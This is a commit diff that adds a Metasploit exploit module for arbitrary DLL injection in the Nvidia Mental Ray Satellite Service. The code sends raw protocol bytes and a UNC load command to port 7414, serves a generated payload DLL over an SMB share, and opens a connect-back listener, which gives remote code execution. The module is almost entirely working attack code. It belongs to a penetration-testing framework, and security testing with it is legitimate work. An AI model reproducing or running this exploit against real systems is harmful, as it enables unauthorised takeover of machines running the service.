Land rapid7#4884, @Meatballs1's module for Nvidia arbitrary dll injection

Author: jvazquez-r7

modules/exploits/windows/misc/nvidia_mental_ray.rb

@@ -0,0 +1,175 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Remote::SMB::Server::Share
+  include Msf::Exploit::EXE
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Nvidia Mental Ray Satellite Service Arbitrary DLL Injection',
+      'Description' => %q{
+        The Nvidia Mental Ray Satellite Service listens for control commands on port 7414.
+        When it receives the command to load a DLL (via an UNC path) it will try to
+        connect back to the host on port 7514. If a TCP connection is successful it will
+        then attempt to load the DLL.
+
+        Tested on Win7 x64 against v3.11.1
+      },
+      'License' => MSF_LICENSE,
+      'Author' =>
+        [
+          'Luigi Auriemma', # Discovery
+          'Donato Ferrante', # Discovery
+          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
+        ],
+      'References' =>
+        [
+          [ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ]
+        ],
+      'Stance' => Msf::Exploit::Stance::Aggressive,
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Windows x64', { 'Arch' => [ ARCH_X86_64 ] } ]
+        ],
+      'Privileged' => true,
+      'DisclosureDate' => 'Dec 10 2013',
+      'DefaultTarget' => 0))
+
+    register_options([
+      Opt::RPORT(7414),
+      OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]),
+      OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
+    ], self.class)
+
+    deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
+  end
+
+  def primer
+    self.file_contents = generate_payload_dll
+    print_status("File available on #{unc}...")
+
+    print_status("Trying to execute remote DLL...")
+    send_exploit
+  end
+
+  def setup
+    super
+
+    # These lengths are required, although we specify the UNC path
+    # length in the exploit, the header probably has another length
+    # value we don't adjust.
+    self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
+    self.share = Rex::Text.rand_text_alpha(5)
+  end
+
+  def exploit
+    begin
+      Timeout.timeout(datastore['SMB_DELAY']) { super }
+    rescue Timeout::Error
+      # do nothing... just finish exploit and stop smb server...
+    end
+  end
+
+  def send_exploit
+    # No idea what most of this hello is...
+    hello = "6c72696d3030303030203030303031203136333932203037353134203030303031203039303936203030303030207261796d7"
+    hello << "36734302d332e31312e312e345f5f5f5f5f5f5f5f5f5f5f5f0020007c5241593331317c53554231000100000000e90300000"
+    hello << "0000000ffffffffffffffff1807000000000000dc10d7fdfe0700003018a40500000000e73654fffe070000c0afcd0000000"
+    hello << "000ffffffffffffffffffffffffffffffff18070000000000007014a70100000000763754fffe0700000000000000000000f"
+    hello << "035ae01000000003036ae0100000000da2152fffe0700003036ae0100000000a33754fffe070000000000000000000000000"
+    hello << "00000000000ffffffffffffffffffffffffffffffff3036ae0100000000c40e53fffe0700007014a70100000000180700000"
+    hello << "0000000000000000000000000000000000000000000000000000000020000000000000001000000000000005035440400000"
+    hello << "0008013a7010000000090b3cd00000000001807000000000000b929d80300000000000000000000000018070000000000009"
+    hello << "0b3cd000000000010cda701000000000000000000000000010100000000000000b3cd0000000000060000000000000066000"
+    hello << "200000000000000020000000a0008000000a01a0fe73d00cf118ca300804034ae01000000000100000000000000000000000"
+    hello << "0000000030000000a000000"
+
+    hello = Rex::Text.hex_to_raw(hello)
+
+    # Start of command - again no idea what this is...
+    load_dll =  Rex::Text.hex_to_raw("4ed32cb1740500000000000001130013")
+
+    # Length of path string including null byte
+    load_dll << [unc.length + 1].pack('V')
+
+    # Data type?
+    load_dll << [2].pack('V')
+
+    # Assembly Load?
+    load_dll << "AL"
+    load_dll << unc << "\x00"
+
+    # Some padding at the end...
+    load_dll << rand_text_alpha(1386 - unc.length)
+
+    # We have to start a second listening port although we dont actually care about
+    # handling client connections. It appears as long as the service can make a
+    # connection its happy and will move onto the DLL loading
+    create_listen_port
+    vprint_status("Connecting to target and sending commands")
+    connect
+    sock.put(hello)
+    sock.put(load_dll)
+    print_status("Instructed the service to load #{unc}...")
+  end
+
+  def create_listen_port
+    port = datastore['LISTEN_PORT']
+
+    comm = datastore['ListenerComm']
+    if comm == "local"
+      comm = ::Rex::Socket::Comm::Local
+    else
+      comm = nil
+    end
+
+    @listener = Rex::Socket::TcpServer.create(
+        'LocalHost' => datastore['SRVHOST'],
+        'LocalPort' => port,
+        'Comm'      => comm,
+        'Context'   => {
+          'Msf'        => framework,
+          'MsfExploit' => self
+        }
+    )
+
+    # Register callbacks
+    @listener.on_client_connect_proc = proc { |cli|
+      add_socket(cli)
+      begin
+        print_status("#{cli.peerhost.ljust(16)} #{shortname} - Connected to Listener on #{port}...")
+      ensure
+        # Need to close the socket for the SMB request to be
+        # initiated...
+        remove_socket(cli)
+      end
+    }
+
+    @listener.start
+    vprint_status("Started listening on TCP port #{port}")
+  end
+
+  def cleanup
+    super
+    return unless @listener
+
+    begin
+      @listener.deref if @listener.is_a?(Rex::Service)
+      if @listener.is_a?(Rex::Socket)
+        @listener.close
+        @listener.stop
+      end
+      @listener = nil
+    rescue ::Exception
+    end
+  end
+end